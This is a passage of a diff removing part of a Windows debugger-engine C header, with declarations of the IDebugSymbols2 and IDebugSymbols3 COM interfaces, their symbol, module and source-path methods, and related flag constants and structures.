- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ElementSize
- ) PURE;
- STDMETHOD(SetSourcePath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendSourcePath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
- // Uses the given file path and the source path
- // information to try and locate an existing file.
- // The given file path is merged with elements
- // of the source path and checked for existence.
- // If a match is found the element used is returned.
- // A starting element can be specified to restrict
- // the search to a subset of the path elements;
- // this can be useful when checking for multiple
- // matches along the source path.
- // The returned element can be 1, indicating
- // the file was found directly and not on the path.
- STDMETHOD(FindSourceFile)(
- THIS_
- __in ULONG StartElement,
- __in PCSTR File,
- __in ULONG Flags,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
- // Retrieves all the line offset information
- // for a particular source file. Buffer is
- // first intialized to DEBUG_INVALID_OFFSET for
- // every entry. Then for each piece of line
- // symbol information Buffer[Line] set to
- // Lines offset. This produces a per-line
- // map of the offsets for the lines of the
- // given file. Line numbers are decremented
- // for the map so Buffer[0] contains the offset
- // for line number 1.
- // If there is no line information at all for
- // the given file the method fails rather
- // than returning a map of invalid offsets.
- STDMETHOD(GetSourceFileLineOffsets)(
- THIS_
- __in PCSTR File,
- __out_ecount_opt(BufferLines) PULONG64 Buffer,
- __in ULONG BufferLines,
- __out_opt PULONG FileLines
- ) PURE;
-};
-
-//
-// GetModuleNameString strings.
-//
-
-#define DEBUG_MODNAME_IMAGE 0x00000000
-#define DEBUG_MODNAME_MODULE 0x00000001
-#define DEBUG_MODNAME_LOADED_IMAGE 0x00000002
-#define DEBUG_MODNAME_SYMBOL_FILE 0x00000003
-#define DEBUG_MODNAME_MAPPED_IMAGE 0x00000004
-
-//
-// Type options, used with Get/SetTypeOptions.
-//
-
-// Display PUSHORT and USHORT arrays in Unicode.
-#define DEBUG_TYPEOPTS_UNICODE_DISPLAY 0x00000001
-// Display LONG types in default base instead of decimal.
-#define DEBUG_TYPEOPTS_LONGSTATUS_DISPLAY 0x00000002
-// Display integer types in default base instead of decimal.
-#define DEBUG_TYPEOPTS_FORCERADIX_OUTPUT 0x00000004
-// Search for the type/symbol with largest size when
-// multiple type/symbol match for a given name
-#define DEBUG_TYPEOPTS_MATCH_MAXSIZE 0x00000008
-
-#undef INTERFACE
-#define INTERFACE IDebugSymbols2
-DECLARE_INTERFACE_(IDebugSymbols2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSymbols.
-
- // Controls the symbol options used during
- // symbol operations.
- // Uses the same flags as dbghelps SymSetOptions.
- STDMETHOD(GetSymbolOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- STDMETHOD(GetNameByOffset)(
- THIS_
- __in ULONG64 Offset,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- // A symbol name may not be unique, particularly
- // when overloaded functions exist which all
- // have the same name. If GetOffsetByName
- // finds multiple matches for the name it
- // can return any one of them. In that
- // case it will return S_FALSE to indicate
- // that ambiguity was arbitrarily resolved.
- // A caller can then use SearchSymbols to
- // find all of the matches if it wishes to
- // perform different disambiguation.
- STDMETHOD(GetOffsetByName)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG64 Offset
- ) PURE;
- // GetNearNameByOffset returns symbols
- // located near the symbol closest to
- // to the offset, such as the previous
- // or next symbol. If Delta is zero it
- // operates identically to GetNameByOffset.
- // If Delta is nonzero and such a symbol
- // does not exist an error is returned.
- // The next symbol, if one exists, will
- // always have a higher offset than the
- // input offset so the displacement is
- // always negative. The situation is
- // reversed for the previous symbol.
- STDMETHOD(GetNearNameByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
-
- STDMETHOD(GetLineByOffset)(
- THIS_
- __in ULONG64 Offset,
- __out_opt PULONG Line,
- __out_ecount_opt(FileBufferSize) PSTR FileBuffer,
- __in ULONG FileBufferSize,
- __out_opt PULONG FileSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- STDMETHOD(GetOffsetByLine)(
- THIS_
- __in ULONG Line,
- __in PCSTR File,
- __out PULONG64 Offset
- ) PURE;
-
- // Enumerates the engines list of modules
- // loaded for the current process. This may
- // or may not match the system module list
- // for the process. Reload can be used to
- // synchronize the engines list with the system
- // if necessary.
- // Some sessions also track recently unloaded
- // code modules for help in analyzing failures
- // where an attempt is made to call unloaded code.
- // These modules are indexed after the loaded
- // modules.
- STDMETHOD(GetNumberModules)(
- THIS_
- __out PULONG Loaded,
- __out PULONG Unloaded
- ) PURE;
- STDMETHOD(GetModuleByIndex)(
- THIS_
- __in ULONG Index,
- __out PULONG64 Base
- ) PURE;
- // The module name may not be unique.
- // This method returns the first match.
- STDMETHOD(GetModuleByModuleName)(
- THIS_
- __in PCSTR Name,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // Offset can be any offset within
- // the module extent. Extents may
- // not be unique when including unloaded
- // drivers. This method returns the
- // first match.
- STDMETHOD(GetModuleByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- STDMETHOD(GetModuleNames)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base,
- __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer,
- __in ULONG ImageNameBufferSize,
- __out_opt PULONG ImageNameSize,
- __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer,
- __in ULONG ModuleNameBufferSize,
- __out_opt PULONG ModuleNameSize,
- __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer,
- __in ULONG LoadedImageNameBufferSize,
- __out_opt PULONG LoadedImageNameSize
- ) PURE;
- STDMETHOD(GetModuleParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG64 Bases,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params
- ) PURE;
- // Looks up the module from a !
- // string.
- STDMETHOD(GetSymbolModule)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG64 Base
- ) PURE;
-
- // Returns the string name of a type.
- STDMETHOD(GetTypeName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- // Returns the ID for a type name.
- STDMETHOD(GetTypeId)(
- THIS_
- __in ULONG64 Module,
- __in PCSTR Name,
- __out PULONG TypeId
- ) PURE;
- STDMETHOD(GetTypeSize)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out PULONG Size
- ) PURE;
- // Given a type which can contain members
- // this method returns the offset of a
- // particular member within the type.
- // TypeId should give the container type ID
- // and Field gives the dot-separated path
- // to the field of interest.
- STDMETHOD(GetFieldOffset)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in PCSTR Field,
- __out PULONG Offset
- ) PURE;
-
- STDMETHOD(GetSymbolTypeId)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
- // As with GetOffsetByName a symbol's
- // name may be ambiguous. GetOffsetTypeId
- // returns the type for the symbol closest
- // to the given offset and can be used
- // to avoid ambiguity.
- STDMETHOD(GetOffsetTypeId)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
-
- // Helpers for virtual and physical data
- // which combine creation of a location with
- // the actual operation.
- STDMETHOD(ReadTypedDataVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteTypedDataVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(OutputTypedDataVirtual)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(ReadTypedDataPhysical)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteTypedDataPhysical)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(OutputTypedDataPhysical)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG Flags
- ) PURE;
-
- // Function arguments and scope block symbols
- // can be retrieved relative to currently
- // executing code. A caller can provide just
- // a code offset for scoping purposes and look
- // up names or the caller can provide a full frame
- // and look up actual values. The values for
- // scoped symbols are best-guess and may or may not
- // be accurate depending on program optimizations,
- // the machine architecture, the current point
- // in the programs execution and so on.
- // A caller can also provide a complete register
- // context for setting a scope to a previous
- // machine state such as a context saved for
- // an exception. Usually this isnt necessary
- // and the current register context is used.
- STDMETHOD(GetScope)(
- THIS_
- __out_opt PULONG64 InstructionOffset,
- __out_opt PDEBUG_STACK_FRAME ScopeFrame,
- __out_bcount_opt(ScopeContextSize) PVOID ScopeContext,
- __in ULONG ScopeContextSize
- ) PURE;
- // If ScopeFrame or ScopeContext is non-NULL then
- // InstructionOffset is ignored.
- // If ScopeContext is NULL the current
- // register context is used.
- // If the scope identified by the given
- // information is the same as before
- // SetScope returns S_OK. If the scope
- // information changes, such as when the
- // scope moves between functions or scope
- // blocks, SetScope returns S_FALSE.
- STDMETHOD(SetScope)(
- THIS_
- __in ULONG64 InstructionOffset,
- __in_opt PDEBUG_STACK_FRAME ScopeFrame,
- __in_bcount_opt(ScopeContextSize) PVOID ScopeContext,
- __in ULONG ScopeContextSize
- ) PURE;
- // ResetScope clears the scope information
- // for situations where scoped symbols
- // mask global symbols or when resetting
- // from explicit information to the current
- // information.
- STDMETHOD(ResetScope)(
- THIS
- ) PURE;
- // A scope symbol is tied to its particular
- // scope and only is meaningful within the scope.
- // The returned group can be updated by passing it back
- // into the method for lower-cost
- // incremental updates when stepping.
- STDMETHOD(GetScopeSymbolGroup)(
- THIS_
- __in ULONG Flags,
- __in_opt PDEBUG_SYMBOL_GROUP Update,
- __out PDEBUG_SYMBOL_GROUP* Symbols
- ) PURE;
-
- // Create a new symbol group.
- STDMETHOD(CreateSymbolGroup)(
- THIS_
- __out PDEBUG_SYMBOL_GROUP* Group
- ) PURE;
-
- // StartSymbolMatch matches symbol names
- // against the given pattern using simple
- // regular expressions. The search results
- // are iterated through using GetNextSymbolMatch.
- // When the caller is done examining results
- // the match should be freed via EndSymbolMatch.
- // If the match pattern contains a module name
- // the search is restricted to a single module.
- // Pattern matching is only done on symbol names,
- // not module names.
- // All active symbol match handles are invalidated
- // when the set of loaded symbols changes.
- STDMETHOD(StartSymbolMatch)(
- THIS_
- __in PCSTR Pattern,
- __out PULONG64 Handle
- ) PURE;
- // If Buffer is NULL the match does not
- // advance.
- STDMETHOD(GetNextSymbolMatch)(
- THIS_
- __in ULONG64 Handle,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MatchSize,
- __out_opt PULONG64 Offset
- ) PURE;
- STDMETHOD(EndSymbolMatch)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Reload)(
- THIS_
- __in PCSTR Module
- ) PURE;
-
- STDMETHOD(GetSymbolPath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetSymbolPath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendSymbolPath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
-
- // Manipulate the path for executable images.
- // Some dump files need to load executable images
- // in order to resolve dump information. This
- // path controls where the engine looks for
- // images.
- STDMETHOD(GetImagePath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetImagePath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendImagePath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
-
- // Path routines for source file location
- // methods.
- STDMETHOD(GetSourcePath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- // Gets the nth part of the source path.
- STDMETHOD(GetSourcePathElement)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ElementSize
- ) PURE;
- STDMETHOD(SetSourcePath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendSourcePath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
- // Uses the given file path and the source path
- // information to try and locate an existing file.
- // The given file path is merged with elements
- // of the source path and checked for existence.
- // If a match is found the element used is returned.
- // A starting element can be specified to restrict
- // the search to a subset of the path elements;
- // this can be useful when checking for multiple
- // matches along the source path.
- // The returned element can be 1, indicating
- // the file was found directly and not on the path.
- STDMETHOD(FindSourceFile)(
- THIS_
- __in ULONG StartElement,
- __in PCSTR File,
- __in ULONG Flags,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
- // Retrieves all the line offset information
- // for a particular source file. Buffer is
- // first intialized to DEBUG_INVALID_OFFSET for
- // every entry. Then for each piece of line
- // symbol information Buffer[Line] set to
- // Lines offset. This produces a per-line
- // map of the offsets for the lines of the
- // given file. Line numbers are decremented
- // for the map so Buffer[0] contains the offset
- // for line number 1.
- // If there is no line information at all for
- // the given file the method fails rather
- // than returning a map of invalid offsets.
- STDMETHOD(GetSourceFileLineOffsets)(
- THIS_
- __in PCSTR File,
- __out_ecount_opt(BufferLines) PULONG64 Buffer,
- __in ULONG BufferLines,
- __out_opt PULONG FileLines
- ) PURE;
-
- // IDebugSymbols2.
-
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- // Item is specified as in VerQueryValue.
- // Module version information is only
- // available for loaded modules and may
- // not be available in all debug sessions.
- STDMETHOD(GetModuleVersionInformation)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base,
- __in PCSTR Item,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG VerInfoSize
- ) PURE;
- // Retrieves any available module name string
- // such as module name or symbol file name.
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- // If symbols are deferred an error will
- // be returned.
- // E_NOINTERFACE may be returned, indicating
- // no information exists.
- STDMETHOD(GetModuleNameString)(
- THIS_
- __in ULONG Which,
- __in ULONG Index,
- __in ULONG64 Base,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Returns the string name of a constant type.
- STDMETHOD(GetConstantName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG64 Value,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Gets name of a field in a struct
- // FieldNumber is 0 based index of field in a struct
- STDMETHOD(GetFieldName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG FieldIndex,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Control options for typed values.
- STDMETHOD(GetTypeOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddTypeOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveTypeOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetTypeOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-};
-
-//
-// GetModuleBy* flags.
-//
-
-// Scan all modules, loaded and unloaded.
-#define DEBUG_GETMOD_DEFAULT 0x00000000
-// Do not scan loaded modules.
-#define DEBUG_GETMOD_NO_LOADED_MODULES 0x00000001
-// Do not scan unloaded modules.
-#define DEBUG_GETMOD_NO_UNLOADED_MODULES 0x00000002
-
-//
-// AddSyntheticModule flags.
-//
-
-#define DEBUG_ADDSYNTHMOD_DEFAULT 0x00000000
-
-//
-// AddSyntheticSymbol flags.
-//
-
-#define DEBUG_ADDSYNTHSYM_DEFAULT 0x00000000
-
-//
-// OutputSymbolByOffset flags.
-//
-
-// Use the current debugger settings for symbol output.
-#define DEBUG_OUTSYM_DEFAULT 0x00000000
-// Always display the offset in addition to any symbol hit.
-#define DEBUG_OUTSYM_FORCE_OFFSET 0x00000001
-// Display source line information if found.
-#define DEBUG_OUTSYM_SOURCE_LINE 0x00000002
-// Output symbol hits that don't exactly match.
-#define DEBUG_OUTSYM_ALLOW_DISPLACEMENT 0x00000004
-
-//
-// GetFunctionEntryByOffset flags.
-//
-
-#define DEBUG_GETFNENT_DEFAULT 0x00000000
-// The engine provides artificial entries for well-known
-// cases. This flag limits the entry search to only
-// the raw entries and disables artificial entry lookup.
-#define DEBUG_GETFNENT_RAW_ENTRY_ONLY 0x00000001
-
-typedef struct _DEBUG_MODULE_AND_ID
-{
- ULONG64 ModuleBase;
- ULONG64 Id;
-} DEBUG_MODULE_AND_ID, *PDEBUG_MODULE_AND_ID;
-
-#define DEBUG_SOURCE_IS_STATEMENT 0x00000001
-
-//
-// GetSourceEntriesByLine flags.
-//
-
-#define DEBUG_GSEL_DEFAULT 0x00000000
-// Do not allow any extra symbols to load during the search.
-#define DEBUG_GSEL_NO_SYMBOL_LOADS 0x00000001
-// Allow source hits with lower line numbers.
-#define DEBUG_GSEL_ALLOW_LOWER 0x00000002
-// Allow source hits with higher line numbers.
-#define DEBUG_GSEL_ALLOW_HIGHER 0x00000004
-// Only return the nearest hits.
-#define DEBUG_GSEL_NEAREST_ONLY 0x00000008
-
-typedef struct _DEBUG_SYMBOL_SOURCE_ENTRY
-{
- ULONG64 ModuleBase;
- ULONG64 Offset;
- ULONG64 FileNameId;
- ULONG64 EngineInternal;
- ULONG Size;
- ULONG Flags;
- ULONG FileNameSize;
- // Line numbers are one-based.
- // May be DEBUG_ANY_ID if unknown.
- ULONG StartLine;
- ULONG EndLine;
- // Column numbers are one-based byte indices.
- // May be DEBUG_ANY_ID if unknown.
- ULONG StartColumn;
- ULONG EndColumn;
- ULONG Reserved;
-} DEBUG_SYMBOL_SOURCE_ENTRY, *PDEBUG_SYMBOL_SOURCE_ENTRY;
-
-#undef INTERFACE
-#define INTERFACE IDebugSymbols3
-DECLARE_INTERFACE_(IDebugSymbols3, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSymbols.
-
- // Controls the symbol options used during
- // symbol operations.
- // Uses the same flags as dbghelps SymSetOptions.
- STDMETHOD(GetSymbolOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetSymbolOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- STDMETHOD(GetNameByOffset)(
- THIS_
- __in ULONG64 Offset,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- // A symbol name may not be unique, particularly
- // when overloaded functions exist which all
- // have the same name. If GetOffsetByName
- // finds multiple matches for the name it
- // can return any one of them. In that
- // case it will return S_FALSE to indicate
- // that ambiguity was arbitrarily resolved.
- // A caller can then use SearchSymbols to
- // find all of the matches if it wishes to
- // perform different disambiguation.
- STDMETHOD(GetOffsetByName)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG64 Offset
- ) PURE;
- // GetNearNameByOffset returns symbols
- // located near the symbol closest to
- // to the offset, such as the previous
- // or next symbol. If Delta is zero it
- // operates identically to GetNameByOffset.
- // If Delta is nonzero and such a symbol
- // does not exist an error is returned.
- // The next symbol, if one exists, will
- // always have a higher offset than the
- // input offset so the displacement is
- // always negative. The situation is
- // reversed for the previous symbol.
- STDMETHOD(GetNearNameByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
-
- STDMETHOD(GetLineByOffset)(
- THIS_
- __in ULONG64 Offset,
- __out_opt PULONG Line,
- __out_ecount_opt(FileBufferSize) PSTR FileBuffer,
- __in ULONG FileBufferSize,
- __out_opt PULONG FileSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- STDMETHOD(GetOffsetByLine)(
- THIS_
- __in ULONG Line,
- __in PCSTR File,
- __out PULONG64 Offset
- ) PURE;
-
- // Enumerates the engines list of modules
- // loaded for the current process. This may
- // or may not match the system module list
- // for the process. Reload can be used to
- // synchronize the engines list with the system
- // if necessary.
- // Some sessions also track recently unloaded
- // code modules for help in analyzing failures
- // where an attempt is made to call unloaded code.
- // These modules are indexed after the loaded
- // modules.
- STDMETHOD(GetNumberModules)(
- THIS_
- __out PULONG Loaded,
- __out PULONG Unloaded
- ) PURE;
- STDMETHOD(GetModuleByIndex)(
- THIS_
- __in ULONG Index,
- __out PULONG64 Base
- ) PURE;
- // The module name may not be unique.
- // This method returns the first match.
- STDMETHOD(GetModuleByModuleName)(
- THIS_
- __in PCSTR Name,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // Offset can be any offset within
- // the module extent. Extents may
- // not be unique when including unloaded
- // drivers. This method returns the
- // first match.
- STDMETHOD(GetModuleByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- STDMETHOD(GetModuleNames)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base,
- __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer,
- __in ULONG ImageNameBufferSize,
- __out_opt PULONG ImageNameSize,
- __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer,
- __in ULONG ModuleNameBufferSize,
- __out_opt PULONG ModuleNameSize,
- __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer,
- __in ULONG LoadedImageNameBufferSize,
- __out_opt PULONG LoadedImageNameSize
- ) PURE;
- STDMETHOD(GetModuleParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG64 Bases,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params
- ) PURE;
- // Looks up the module from a !
- // string.
- STDMETHOD(GetSymbolModule)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG64 Base
- ) PURE;
-
- // Returns the string name of a type.
- STDMETHOD(GetTypeName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- // Returns the ID for a type name.
- STDMETHOD(GetTypeId)(
- THIS_
- __in ULONG64 Module,
- __in PCSTR Name,
- __out PULONG TypeId
- ) PURE;
- STDMETHOD(GetTypeSize)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out PULONG Size
- ) PURE;
- // Given a type which can contain members
- // this method returns the offset of a
- // particular member within the type.
- // TypeId should give the container type ID
- // and Field gives the dot-separated path
- // to the field of interest.
- STDMETHOD(GetFieldOffset)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in PCSTR Field,
- __out PULONG Offset
- ) PURE;
-
- STDMETHOD(GetSymbolTypeId)(
- THIS_
- __in PCSTR Symbol,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
- // As with GetOffsetByName a symbol's
- // name may be ambiguous. GetOffsetTypeId
- // returns the type for the symbol closest
- // to the given offset and can be used
- // to avoid ambiguity.
- STDMETHOD(GetOffsetTypeId)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
-
- // Helpers for virtual and physical data
- // which combine creation of a location with
- // the actual operation.
- STDMETHOD(ReadTypedDataVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteTypedDataVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(OutputTypedDataVirtual)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(ReadTypedDataPhysical)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteTypedDataPhysical)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(OutputTypedDataPhysical)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG Flags
- ) PURE;
-
- // Function arguments and scope block symbols
- // can be retrieved relative to currently
- // executing code. A caller can provide just
- // a code offset for scoping purposes and look
- // up names or the caller can provide a full frame
- // and look up actual values. The values for
- // scoped symbols are best-guess and may or may not
- // be accurate depending on program optimizations,
- // the machine architecture, the current point
- // in the programs execution and so on.
- // A caller can also provide a complete register
- // context for setting a scope to a previous
- // machine state such as a context saved for
- // an exception. Usually this isnt necessary
- // and the current register context is used.
- STDMETHOD(GetScope)(
- THIS_
- __out_opt PULONG64 InstructionOffset,
- __out_opt PDEBUG_STACK_FRAME ScopeFrame,
- __out_bcount_opt(ScopeContextSize) PVOID ScopeContext,
- __in ULONG ScopeContextSize
- ) PURE;
- // If ScopeFrame or ScopeContext is non-NULL then
- // InstructionOffset is ignored.
- // If ScopeContext is NULL the current
- // register context is used.
- // If the scope identified by the given
- // information is the same as before
- // SetScope returns S_OK. If the scope
- // information changes, such as when the
- // scope moves between functions or scope
- // blocks, SetScope returns S_FALSE.
- STDMETHOD(SetScope)(
- THIS_
- __in ULONG64 InstructionOffset,
- __in_opt PDEBUG_STACK_FRAME ScopeFrame,
- __in_bcount_opt(ScopeContextSize) PVOID ScopeContext,
- __in ULONG ScopeContextSize
- ) PURE;
- // ResetScope clears the scope information
- // for situations where scoped symbols
- // mask global symbols or when resetting
- // from explicit information to the current
- // information.
- STDMETHOD(ResetScope)(
- THIS
- ) PURE;
- // A scope symbol is tied to its particular
- // scope and only is meaningful within the scope.
- // The returned group can be updated by passing it back
- // into the method for lower-cost
- // incremental updates when stepping.
- STDMETHOD(GetScopeSymbolGroup)(
- THIS_
- __in ULONG Flags,
- __in_opt PDEBUG_SYMBOL_GROUP Update,
- __out PDEBUG_SYMBOL_GROUP* Symbols
- ) PURE;
-
- // Create a new symbol group.
- STDMETHOD(CreateSymbolGroup)(
- THIS_
- __out PDEBUG_SYMBOL_GROUP* Group
- ) PURE;
-
- // StartSymbolMatch matches symbol names
- // against the given pattern using simple
